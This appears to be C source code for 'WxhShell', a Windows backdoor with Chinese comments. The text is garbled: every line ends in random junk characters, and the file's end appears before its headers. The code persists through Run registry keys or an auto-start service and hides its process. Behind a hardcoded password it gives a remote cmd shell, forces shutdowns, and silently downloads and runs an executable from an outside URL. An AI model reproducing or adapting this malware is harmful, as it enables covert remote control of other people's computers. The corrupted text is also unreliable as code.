  case 'd': { |5 sI=?p&t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (#WE9~Sru  
    if(Boot(SHUTDOWN)) xG05OqKpE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YY (,H!  
    else { h[SuuW  
    closesocket(wsh); XAV|xlfm  
    ExitThread(0); $:R"IqDG  
    } \Ze"Hv  
    break; `Tx1?]  
    } :bx q%D%|o  
  // 获取shell LY%`O#i.  
  case 's': { C ebl"3Q  
    CmdShell(wsh); M~Yho".  
    closesocket(wsh); o:<g Jzg  
    ExitThread(0); ,[rh7 _  
    break; ~G!>2 +L  
  } F)mlCGv:R  
  // 退出 *%^Vq  
  case 'x': { iol.RszlZ|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &y?L^Aq  
    CloseIt(wsh); FTx&] QN?  
    break; Y3+GBqP  
    } jrGVC2*rD  
  // 离开 lS.*/u*5  
  case 'q': { <!#6c :(Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =IH z@CU  
    closesocket(wsh); _VFxzM9f  
    WSACleanup(); -z]v"gF?Px  
    exit(1); o7N3:)  
    break; J;pn5k~3  
        } K4Mv\!Q<8  
  } N'nI ^=  
  } ] Ma2*E !p  
gw0b>E8gZ&  
  // 提示信息 w{J0K; L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] 8sVXZ  
} Ij_Y+Mnl4:  
  } Suixk'-  
k\UDZ)TQV  
  return; sGjYL>*  
} +@wa?"  
H@$\SUc{  
// shell模块句柄 iX8& mUR  
int CmdShell(SOCKET sock) ,}i`1E1=  
{ Z }(,OZh  
STARTUPINFO si; Z!Njfq5  
ZeroMemory(&si,sizeof(si)); -AUdBG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lLy^@s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P8jXruZr  
PROCESS_INFORMATION ProcessInfo; \8%64ZL`  
char cmdline[]="cmd"; zfDx c3e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J>(I"K%  
  return 0; <S'5`-&  
} L 0?-W%$>  
L Of0_g/  
// 自身启动模式 f S50  
int StartFromService(void) KUG\C\z6=  
{ `<>Emc8Z  
typedef struct irSdqa/  
{ 7@R;lOzL3  
  DWORD ExitStatus; !BD+H/A.{  
  DWORD PebBaseAddress; f!;4 -.p`  
  DWORD AffinityMask; IP'gN-#i  
  DWORD BasePriority; Wpo:'?!(M^  
  ULONG UniqueProcessId; P!q U8AJkt  
  ULONG InheritedFromUniqueProcessId; ZOGH.`  
}   PROCESS_BASIC_INFORMATION; #wH<W5gSZ  
@}:}7R6  
PROCNTQSIP NtQueryInformationProcess; qrBo'@7  
Ay'2! K,I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u(B0X=B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V_JM@VN}Kk  
t0XM#9L  
  HANDLE             hProcess; Xk[;MZ[  
  PROCESS_BASIC_INFORMATION pbi; 1<RB}M  
n5i#GvO^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V3O<l}ak  
  if(NULL == hInst ) return 0; D&q-L[tA@  
iJ HOLz"!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `z<k7ig  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /P bN!r<1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {7!WtH;-  
)En*5-1  
  if (!NtQueryInformationProcess) return 0; h~rSM#7m  
_w8iPL5:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j,")c'r&dD  
  if(!hProcess) return 0; y=)Cid  
B`,4M&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rckqr7q  
.b*%c?e  
  CloseHandle(hProcess); |) {)w`  
s u]x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J1kG'cH05  
if(hProcess==NULL) return 0; )8Defuxk  
+~lZ]a7k  
HMODULE hMod; Y>*{(QD  
char procName[255]; ?5d7J,"<h  
unsigned long cbNeeded; IHCEuK  
t><AaYij_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wh4`Iv\.  
U5 ~L^  
  CloseHandle(hProcess); AW;"` ].  
}r:H7&|&  
if(strstr(procName,"services")) return 1; // 以服务启动 EAYx+zI  
Z6%Hhk[  
  return 0; // 注册表启动 IM:*uv  
} .[Ezg(U}ze  
q1QrtJFPG  
// 主模块 SS;[{u!  
int StartWxhshell(LPSTR lpCmdLine) {VqcZhqy/l  
{ _JZS;8WYR  
  SOCKET wsl; L1;IXCc=  
BOOL val=TRUE; 9$F '*{8  
  int port=0; g7G=ga  
  struct sockaddr_in door; GmoY~}cg~  
Jybx'vZj  
  if(wscfg.ws_autoins) Install(); >(Mu9ie*`  
bgs2~50  
port=atoi(lpCmdLine); Ym~*5|  
z7X[$T$V  
if(port<=0) port=wscfg.ws_port; _:4n&1{.E  
#Pi}2RBRu  
  WSADATA data; O 4xV "\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3#7D g't  
w@U`@})r.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   };%l <Ui;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FFGG6r  
  door.sin_family = AF_INET; _U<sz{6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NsYeg&>`  
  door.sin_port = htons(port); v^_OX $=,  
iT#)i3   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C"w>U   
closesocket(wsl); )r _zM~jI  
return 1; p:]kH  
} "]|I;I"b  
ao>`[-  
  if(listen(wsl,2) == INVALID_SOCKET) { -s Iji)t  
closesocket(wsl); V4Yw"J  
return 1; .0$$H"t  
} .<8kDyi m  
  Wxhshell(wsl); <=KtRE>$  
  WSACleanup(); 5N=QS1<$5  
?ysC7 ((  
return 0; mup<%@7m  
NIn#  
}  Qx,jUL#2  
afEhC0j  
// 以NT服务方式启动 kI5`[\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c=]z%+,b]  
{ ]AjDe]  
DWORD   status = 0; Ar@" K!TS  
  DWORD   specificError = 0xfffffff; 5[\mwUA  
6`$HBX%.K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E>xd*23+\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w>M8 FG(4]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  'Q\I@s }  
  serviceStatus.dwWin32ExitCode     = 0; mouLjT&p  
  serviceStatus.dwServiceSpecificExitCode = 0; k`H#u,&  
  serviceStatus.dwCheckPoint       = 0; v6B}ov[Y2  
  serviceStatus.dwWaitHint       = 0; Qp9)Rc5  
G-?y;V 1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FF]xwptrx  
  if (hServiceStatusHandle==0) return; go^?F- dZ  
IyvJwrO  
status = GetLastError(); f=%k9Y*)  
  if (status!=NO_ERROR) 7Ddo ^Gtx  
{ 9z)p*+r UK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R{zAs?j  
    serviceStatus.dwCheckPoint       = 0; ,[6N64fy  
    serviceStatus.dwWaitHint       = 0; }F'B!8n  
    serviceStatus.dwWin32ExitCode     = status; |FK ##8  
    serviceStatus.dwServiceSpecificExitCode = specificError; u;$g1 3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6~ J#;  
    return; Y_qRW. k  
  } </,RS5ukn  
+ k1|+zzS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,r<!30~f  
  serviceStatus.dwCheckPoint       = 0; (+Ia:D  
  serviceStatus.dwWaitHint       = 0; NY.Y=CF("  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tBSHMz  
} >0yx!Iao  
V-Ebi^gz5W  
// 处理NT服务事件,比如:启动、停止 4{!7T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -8;@NAUa  
{ r q2]u  
switch(fdwControl) rdK=f<I]  
{ }:NE  
case SERVICE_CONTROL_STOP: 2, bo  
  serviceStatus.dwWin32ExitCode = 0; :CH?,x^!@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !?t#QD o  
  serviceStatus.dwCheckPoint   = 0; dW hU o\>=  
  serviceStatus.dwWaitHint     = 0; ? OrRTRW  
  { zd1X(e<|{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "YY6_qQR'  
  } o[C,fh,$  
  return; }Yd7<"kp  
case SERVICE_CONTROL_PAUSE: ,9T-\)sT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /b3b0VfF  
  break; \^7D% a=;C  
case SERVICE_CONTROL_CONTINUE: l ;TWs_N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MXy~kb&  
  break; GjDs,9@f  
case SERVICE_CONTROL_INTERROGATE: sC ,[CN:b  
  break; =7&2-'(@  
}; w}*2Hz&Q!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v6r,2Va/  
} _M.7%k/U8  
!L..I2'  
// 标准应用程序主函数 )2 E7>SQc~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ruMS5OqM  
{ 3@'3U?Hin  
}u"iA^'Ot  
// 获取操作系统版本 <[7 bUB  
OsIsNt=GetOsVer(); _ ^5w f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qrr8i:Y^  
I$Z8]&m  
  // 从命令行安装 ANuIPF4NxP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1Yj^N" =  
+&t`"lRl&  
  // 下载执行文件 ,Mt/*^|  
if(wscfg.ws_downexe) { ~zEBJgeyh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |8xu*dVAp4  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~`7L\'fs  
} FT0HU<." 1  
&O0@)jIV  
if(!OsIsNt) { Yxe%:  
// 如果时win9x,隐藏进程并且设置为注册表启动 +k@$C,A  
HideProc(); :a YbP,mE  
StartWxhshell(lpCmdLine); `tmd'  
} $w,&h:.p  
else u;{,,ct  
  if(StartFromService()) .<GU2&;!  
  // 以服务方式启动 sn.Xvk%75  
  StartServiceCtrlDispatcher(DispatchTable); mGf@J6wGz  
else p-p]dV  
  // 普通方式启动 ==$>M d  
  StartWxhshell(lpCmdLine); Yh=/?&*  
tvh)N{j  
return 0; {5<3./5O  
} Q]9g  
AOvn<Q  
f@:.bp8VB8  
-Xm/sq(i)%  
=========================================== Iu<RwB[#Q  
58T<~u7  
MiB"CcU  
u$A*Vsmr  
|&O7F;/_  
z: x|;Ps!  
" -Re4G78%  
n*7Ytz3#'  
#include <stdio.h> x>Hg.%/c[  
#include <string.h> 6gUcoDD  
#include <windows.h> &y164xn'h  
#include <winsock2.h> s\7]"3:wD  
#include <winsvc.h> f$\gm+&hXE  
#include <urlmon.h> qXI>x6?*  
JqX+vRY;dd  
#pragma comment (lib, "Ws2_32.lib") XeGtge/}T  
#pragma comment (lib, "urlmon.lib") })zYo 7  
Hchh2  
#define MAX_USER   100 // 最大客户端连接数 KW1 7CJ@  
#define BUF_SOCK   200 // sock buffer U_1syaY!  
#define KEY_BUFF   255 // 输入 buffer #q[k"x=c  
"YUh4uZ~P  
#define REBOOT     0   // 重启 :fxG]uf-P  
#define SHUTDOWN   1   // 关机 U9uy (KOW  
ups] k?4  
#define DEF_PORT   5000 // 监听端口 #!a}ZhIt  
fu}ZOPu  
#define REG_LEN     16   // 注册表键长度 ^ Tr )gik  
#define SVC_LEN     80   // NT服务名长度 p3sR>ToJ  
h[%t7qo=  
// 从dll定义API 3%"r%:fQB/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bV'^0(Zv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K6C@YY(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z?9vbx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  BKiyog  
F_Pv\?35z  
// wxhshell配置信息 g;|3n&  
struct WSCFG { _A[k&nO!&J  
  int ws_port;         // 监听端口 @zz4,,]  
  char ws_passstr[REG_LEN]; // 口令 G)vq+L5%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y Ib=rR[ $  
  char ws_regname[REG_LEN]; // 注册表键名 3k5C;5  
  char ws_svcname[REG_LEN]; // 服务名  L=Pz0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3,x|w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nhbCk6Y5LZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WyO7,Qr\   
int ws_downexe;       // 下载执行标记, 1=yes 0=no a{oG[e   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 38I.1p9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @U~i<kt  
Wr3).m52}P  
}; sBsf{%I[{  
Q Pel n)  
// default Wxhshell configuration ( !K?^si  
struct WSCFG wscfg={DEF_PORT, > 4c7r~\k  
    "xuhuanlingzhe", +lK?)77f  
    1, G4VdJ(_  
    "Wxhshell", :n@j"-HA  
    "Wxhshell", 9KqN .  
            "WxhShell Service", g$z9 (i+  
    "Wrsky Windows CmdShell Service", W.B;Dy,Y  
    "Please Input Your Password: ", |H.i$8_A  
  1,  2s+ITPr  
  "http://www.wrsky.com/wxhshell.exe", |oYqkP|  
  "Wxhshell.exe" .V4w+:i  
    }; XN*?<s3  
9:JFG{M  
// 消息定义模块 S 54N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2;82*0Y%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yu<'-)T.?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I04GQql  
char *msg_ws_ext="\n\rExit."; 4| 6<nk_  
char *msg_ws_end="\n\rQuit."; }D/O cp~o  
char *msg_ws_boot="\n\rReboot..."; UJ}Xa&*H\  
char *msg_ws_poff="\n\rShutdown..."; ZQ&A '(tt4  
char *msg_ws_down="\n\rSave to "; %syFHUBw  
M9 _G  
char *msg_ws_err="\n\rErr!";  `PV+.V}  
char *msg_ws_ok="\n\rOK!"; 7W{xK'|]  
3 &aBU [  
char ExeFile[MAX_PATH]; Sqc r -  
int nUser = 0; /b44;U`v5-  
HANDLE handles[MAX_USER]; 7wO0d/l_  
int OsIsNt; S:\a&+og  
*{ =5AW}o  
SERVICE_STATUS       serviceStatus; 2jMV6S9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 72YL   
FuA8vTV{  
// 函数声明 y([""z3<w  
int Install(void); %Ydzzr3  
int Uninstall(void); M[;N6EJH  
int DownloadFile(char *sURL, SOCKET wsh); Qh 3V[br  
int Boot(int flag); $& 0hpg  
void HideProc(void); c@+;4Iz  
int GetOsVer(void); igoUKDNiQ-  
int Wxhshell(SOCKET wsl); 0<,Q7onDD:  
void TalkWithClient(void *cs); +IRr&J*P  
int CmdShell(SOCKET sock); Vy+%sG q"  
int StartFromService(void); 4 ^=qc99  
int StartWxhshell(LPSTR lpCmdLine); |GDf<\  
[(hB%x_"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lbRm(W(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GaD]qeS-K  
`u./2]n  
// 数据结构和表定义 Ca&p;K9FR  
SERVICE_TABLE_ENTRY DispatchTable[] = 9PU9BYBG  
{ ]m>N!Iu  
{wscfg.ws_svcname, NTServiceMain}, v7V.,^6+  
{NULL, NULL} |Lq -vs?  
}; /~4wM#Yi8  
m]Sv>|  
// 自我安装 i8]2y  
int Install(void) wR x5` @  
{ 3?}W0dZ$d  
  char svExeFile[MAX_PATH]; X5(S+;v"^  
  HKEY key; .U66Uet>RX  
  strcpy(svExeFile,ExeFile); `I\)Kk@*b9  
ZL0':7  
// 如果是win9x系统,修改注册表设为自启动 IT.'`!T  
if(!OsIsNt) { E(0(q#n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OG M9e!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eH*u,/  
  RegCloseKey(key); d%"?^e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :;wb{q$O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Q`vOVSUD  
  RegCloseKey(key); }G:5P3f  
  return 0; +cDz`)N,,  
    } ^kS44pr\Q  
  } R)%1GG4  
} uV\ _j3,2  
else { d1MVhE  
*jBn ^  
// 如果是NT以上系统,安装为系统服务 g_2m["6*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )2U#<v^  
if (schSCManager!=0) @iW^OVpp<8  
{ WWO@ULGY  
  SC_HANDLE schService = CreateService !A.Kb74  
  ( ]h Dy]  
  schSCManager, b),_rr  
  wscfg.ws_svcname, F(-1m A&-  
  wscfg.ws_svcdisp, S`!MoIMsD  
  SERVICE_ALL_ACCESS, 6Y#V;/gK!5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Oku<5  
  SERVICE_AUTO_START, ]^>#?yEA3  
  SERVICE_ERROR_NORMAL, efK)6T^p  
  svExeFile, @.4e^Km  
  NULL, L4)@lmd3  
  NULL,  >%~E <  
  NULL, +2}aCoL\  
  NULL, 2MN AY%iT  
  NULL 0(uNFyIG  
  ); xk1pZQ8c  
  if (schService!=0) ?~mw  
  { vd4}b>  
  CloseServiceHandle(schService); tRqg')y  
  CloseServiceHandle(schSCManager); 2n9E:tc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <lx~/3<m  
  strcat(svExeFile,wscfg.ws_svcname); \Ty%E<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \X'{ ee  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a"!D @a  
  RegCloseKey(key); ]Z@+ |&@L  
  return 0; vFKt=o$ g  
    } .kBZ(`K  
  } F-=W7 D:[c  
  CloseServiceHandle(schSCManager); }ph;~og}y  
} lS`hJ:  
} :QSCky*i  
I+) Acy;  
return 1; E&?z-,-o@  
} ozs xqN  
_;A?w8z  
// 自我卸载 YWf w%p?n"  
int Uninstall(void) zLG5m]G4D  
{ Q~5!c#r  
  HKEY key; y6[^I'kz  
JsOu *9R  
if(!OsIsNt) { Eua\N<!aai  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n3-2;xuNKE  
  RegDeleteValue(key,wscfg.ws_regname); zuWfR&U|W  
  RegCloseKey(key); =Vgj=19X(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xK`.^W  
  RegDeleteValue(key,wscfg.ws_regname); Unl6?_  
  RegCloseKey(key); _&/FO{F@m  
  return 0; va(ZGGS]N  
  } ]M"l-A  
} ^J DiI7  
} k$V.hG|6M  
else { &ZjQa.-U>  
N Fc@Kz<H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /<(d.6T[}:  
if (schSCManager!=0) ar0y8>]3  
{ =h~\nTN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MDfE(cn2q  
  if (schService!=0) /Z:\=0`  
  { D4:c)}  
  if(DeleteService(schService)!=0) { w$JG:y#  
  CloseServiceHandle(schService); BF*]l8p  
  CloseServiceHandle(schSCManager); { r9fKA  
  return 0; W_zv"c  
  } FW)G5^Tf  
  CloseServiceHandle(schService); 49o5"M(  
  } Kn]c4h}@b5  
  CloseServiceHandle(schSCManager); -U6" Ce  
} DA[s k7  
} ?i.]|#{Z  
p,y(Fc~]g'  
return 1; R<}Yf[TQ  
} |%F[.9Dp  
u S$:J:Drx  
// 从指定url下载文件 2 {lo  
int DownloadFile(char *sURL, SOCKET wsh) l \=M'D  
{ V 0<>Xo%  
  HRESULT hr; WJG&`PP  
char seps[]= "/"; yqpb_h9  
char *token; EJ*  
char *file; x,Im%!h  
char myURL[MAX_PATH]; M(,npW  
char myFILE[MAX_PATH]; *D: wwJ  
:les 3T}2  
strcpy(myURL,sURL); G)A5;u\P9  
  token=strtok(myURL,seps); & j@i>(7  
  while(token!=NULL) 1* _wJ  
  { -[kbHrl&  
    file=token; b"+ J8W  
  token=strtok(NULL,seps); M1Jnn4w*d  
  } \R >!HY  
[.}-nAN  
GetCurrentDirectory(MAX_PATH,myFILE); gxpGi@5  
strcat(myFILE, "\\"); D0?l$]aE  
strcat(myFILE, file); 3|/<Pk  
  send(wsh,myFILE,strlen(myFILE),0); 'F'v/G~F  
send(wsh,"...",3,0); ';buS -|6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s=lkK / [  
  if(hr==S_OK) sR`WV6!9  
return 0; Qh)QdW4  
else . bh>_ W_h  
return 1; :tu_@3bg-  
0&1!9-(d  
} lNSB "S  
hP4*S^l  
// 系统电源模块 a7#J af  
int Boot(int flag) ?)9mHo^  
{ tA+ c  
  HANDLE hToken; I!y[7^R  
  TOKEN_PRIVILEGES tkp; }.<%46_Z-  
]KMOLe6(  
  if(OsIsNt) { hSmu"a,S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D.2HM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 56Q9RU(M  
    tkp.PrivilegeCount = 1; pq`Bg`c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JFx=X=C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NGHzifaE   
if(flag==REBOOT) { (,<ti):  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J[:3H6%`  
  return 0; (ilU<Ht  
} F`9;s@V*  
else { SSANt?\Z<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Tv %6iaeE  
  return 0; Aj06"ep  
} 3AWNoXh  
  } |C9qM  
  else { 9,|&+G$  
if(flag==REBOOT) { L3 M]06y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #NM .g  
  return 0; DCfV  
} ,*fvA?  
else { EQ&E C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y?Yix   
  return 0; +>N/q(l  
} \*#9Ry^f  
} UOrf wK  
jP6;~[rl  
return 1; 36D-J)-Z  
} ;|v6^2H"  
]*+ozAG4  
// win9x进程隐藏模块 rIz"_r  
void HideProc(void) WP1>)  
{ 8phc ekh+  
C% <[mM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?U]/4]  
  if ( hKernel != NULL ) yi3@-  
  { @>'.F<:P<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K;2tY+I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |5SYKA7CS  
    FreeLibrary(hKernel); RaFk/mSw  
  } rm*Jo|eH`  
G0Wzx)3]  
return; _p vL b  
} _s./^B_w!  
j;fmmV@  
// 获取操作系统版本 &$fe%1#  
int GetOsVer(void) F"9f6<ge  
{ )J+vmY~&  
  OSVERSIONINFO winfo; 7 \aLK#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9viQ<}K<  
  GetVersionEx(&winfo); =:(8F*Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Z>ZjNG  
  return 1; uY;-x~Z  
  else 7SE=otZ>  
  return 0; ~SkdP7 )  
} IMzhEm  
LQSno)OZ  
// 客户端句柄模块 &*Eyw s  
int Wxhshell(SOCKET wsl) 8cy#[{u`;  
{ ?\:ysTVu  
  SOCKET wsh; F9]j{'#  
  struct sockaddr_in client; Y7)YJI  
  DWORD myID; k3se<NL[  
Zs!)w9y&V  
  while(nUser<MAX_USER) xKz^J SF  
{ ;pdW7  
  int nSize=sizeof(client); emb~l{K$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ): C4"2l3  
  if(wsh==INVALID_SOCKET) return 1; -\yaP8V  
b w5|gmO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Gjr8  
if(handles[nUser]==0) NS "hdyA  
  closesocket(wsh); 0V*L",9M  
else zw^jIg$  
  nUser++; ^1U2&S  
  } V 0R;q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6sl*Ko[  
Vin d\yvM  
  return 0; G8"L #[~  
} |{HtY  
)Rla VAtM  
// 关闭 socket C\UD0r'p?  
void CloseIt(SOCKET wsh) mfLS< /A  
{ .EGZv (rz&  
closesocket(wsh); EKf"e*|(L  
nUser--; !G3O!]  
ExitThread(0); 72} MspzUt  
} [Z0&`qz  
yB(^t`)}N  
// 客户端请求句柄 ]c8lZO>  
void TalkWithClient(void *cs) 0Z#&!xTb  
{ 3/o-\wWO  
sj003jeko  
  SOCKET wsh=(SOCKET)cs; rixNz@p'%  
  char pwd[SVC_LEN]; ~q#UH'=%  
  char cmd[KEY_BUFF]; zLue j'  
char chr[1]; @Y*ONnl  
int i,j;  3+"z  
3.B|uN  
  while (nUser < MAX_USER) { D52ELr7  
swuW6p  
if(wscfg.ws_passstr) { ro7\}O:I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UO8#8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {PGNPxUbe  
  //ZeroMemory(pwd,KEY_BUFF); R`Hyg4?  
      i=0; -uN5 DJSW  
  while(i<SVC_LEN) { & :x_  
S/ ]2Qt#T  
  // 设置超时 [2.uwn]i  
  fd_set FdRead; WcAX/<Y>  
  struct timeval TimeOut; -uenCWF\#  
  FD_ZERO(&FdRead); 5[[4A]#T  
  FD_SET(wsh,&FdRead); k 61Ot3  
  TimeOut.tv_sec=8; $d?<(n  
  TimeOut.tv_usec=0; ?AX./LI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); # 9Z];<g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ( du<0J|PT  
SfQ ,uD6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )(b]-  )  
  pwd=chr[0]; PoY+Y3  
  if(chr[0]==0xd || chr[0]==0xa) { fb4/LVg'J  
  pwd=0; e?3 S0}  
  break; D#508{)  
  } $/nU0W  
  i++; W"YFx*W  
    } uG&xtN8  
8a|p`)lT  
  // 如果是非法用户,关闭 socket s2riayM9/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v7T05  
} #rqLuqw  
E"&fT!yi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !6\{q M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #-1 ;  
N|?"=4Z?  
while(1) { |/[?]`  
BftW<1,U^  
  ZeroMemory(cmd,KEY_BUFF); 0Jz'9  
` *x;&.&v  
      // 自动支持客户端 telnet标准   I/rq@27o  
  j=0; !.H< dQS  
  while(j<KEY_BUFF) { $0V<wsVM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8TAc]B  
  cmd[j]=chr[0]; ^k]OQc7q'  
  if(chr[0]==0xa || chr[0]==0xd) { BZ<Q.:)  
  cmd[j]=0; 4]u53`  
  break; NMM0'tY~  
  } w0x, ~  
  j++; ?V"X=B2  
    } DzYi> E:*  
xq- R5(k  
  // 下载文件 /=A^@&:_#  
  if(strstr(cmd,"http://")) { 6pM[.:TM   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p]:5S_$  
  if(DownloadFile(cmd,wsh)) y|Tb&XPD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _5EM<Ux  
  else rg)>ZHx  
